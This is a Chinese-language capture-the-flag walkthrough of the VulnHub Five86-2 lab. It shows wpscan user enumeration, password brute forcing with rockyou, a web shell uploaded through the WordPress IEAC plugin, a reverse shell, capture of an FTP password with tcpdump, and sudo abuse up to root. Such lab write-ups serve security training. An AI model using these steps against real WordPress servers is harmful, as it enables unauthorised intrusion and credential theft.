靶机地址:http://www.vulnhub.com/entry/five86-2,418/
本文涉及知识点实操练习:相关实验:VulnHub渗透测试实战靶场Node 1.0 (Node 1.0 是一个难度为中等的Boot2root/CTF挑战,靶场环境最初由 HackTheBox 创建,实验目的是获取两个flag)
技术点总结
• 对WordPress网站的渗透
– wpscan
• WordPress中IEAC插件的RCE漏洞
• tcpdump的使用
目标发现
nmap -sP 参数使用 ping 扫描局域网主机,目的地址为 192.168.56.6
nmap -A 192.168.56.6 -p- 可以看到目标主机的一些信息,-A 是进行操作系统指纹和版本检测,-p- 是全端口
开放了 22、21、80 端口,并且 80 端口是WordPress 5.1.4的CMS
这里最好提前在/etc/hosts中加上192.168.56.6 five86-2这一条,因为后面访问wordpress的后台wp-admin时会跳转到到这个域名
漏洞发现与利用
在searchsploit和Google并没有发现WordPress 5.1.4的漏洞,可以用wpscan扫描一下这个URL。wpscan是一款针对WordPress的扫描器,详细的使用可以参考WPScan使用完整攻略。
默认扫描会返回目标站点的中间件、XML-RPC、readme文件、上传路径、WP-Corn、版本、主题、所有的插件和备份文件。
命令wpscan -u http://192.168.56.6/
这里并没有发现很有用的信息,考虑去枚举用户名,然后配合rockyou.txt去爆破密码。爆破用户名命令wpscan --url http://192.168.56.6/--enumerate u,发现了5个用户
peteradminbarneygillianstephen
爆破密码命令wpscan --url http://192.168.56.6/-U user.txt -P /usr/share/wordlists/rockyou.txt
最终爆破出来两个结果
Username: barney, Password: spooky1Username: stephen, Password: apollo1
使用barney登录后台http://five86-2/wp-admin/,可以看到这个站点安装了三个插件,但是只激活了一个Insert or Embed Articulate Content into WordPress Trial(IEAC)
Akismet Anti-Spam Version 4.1.1Hello Dolly Version 1.7.1IEAC Version 4.2995
在谷歌上搜索一下,不难搜到这个插件的RCE:WordPress插件IEAC漏洞分析及组合利用尝试,在exploit-db上也有
先生成poc.zip,
echo "hello" > index.htmlecho "" > index.phpzip poc.zip index.html index.php
然后登录wordpress后台,选择新建文章
选择添加区块
选择E-Learning
上传poc.zip
选择Insert As iFrame
可以看到上传的位置,也就是说上次的shell位置为http://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php
测试shellhttp://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php?cmd=whoami这就拿到了shell
使用php-reverse-shell去反弹shell,访问http://192.168.56.6/wp-content/uploads/articulate_uploads/poc4/shell.php就可以看到反弹的shell,还不是TTY,接下来就想办法变成TTY吧
ls /home发现有8个目录,刚刚爆破来两个密码,一个登陆了后台,还有一个没有测试,并且两个都在这8个用户里面。可以先试试su barney,密码填spooky1,发现失败,再试试stephen,密码apollo1。这里的shell不知道为什么没有前面的$了,但是可以用
实际上,这里的www-data可以直接使用python3 -c 'import pty;pty.spawn("/bin/bash")'变成TTY,这样可能更方便一些
然后再sudo -l发现需要密码,并且不是spooky1,所以还是su stephen吧,发现stephen在一个名为pcap的用户组中(pcap不是流量包吗^_^)
然后sudo -l发现无法执行sudo
回到pcap那里,流量包是不是意味着流量分析,尝试ifconfig发现没有这个命令,但是可以使用ip add,发现目前运行着几个网络接口
这里的最后一个接口好像是动态的,每次都不一样,可以使用tcpdump -D列出可用于抓包的接口。这里选择把后面两个抓下来,因为不怎么常见。抓包命令为timeout 120 tcpdump -w 1.pcap -i veth2c37c59,其中timeout 120是指2分钟,-w是将结果输出到文件,-i是指定监听端口
可以去分析一下这两个流量包,命令tcpdump -r 1.pcap,这里-r是从给定的流量包读取数据,不难发现paul用户FTP的密码esomepasswford。后面2.pcap与1.pcap内容相同。
接着su paul,用上面的那个密码发现可以登陆。尝试sudo -l发现stephen可以使用peter的service命令
那不就可以直接执行peter的/bin/bash了吗。命令sudo -u peter service /bin/bash。这里要注意一下目录的问题,用相对目录找到/bin/bash的位置
获取peter的权限后,还是先sudo -l,发现他可以运行root用户的passwd命令,这我直接修改root的密码不就获取root权限了吗
是时候表演真正的技术了。sudo -u root passwd root(强迫症,全文一致),用sudo passwd root一样的
找到flag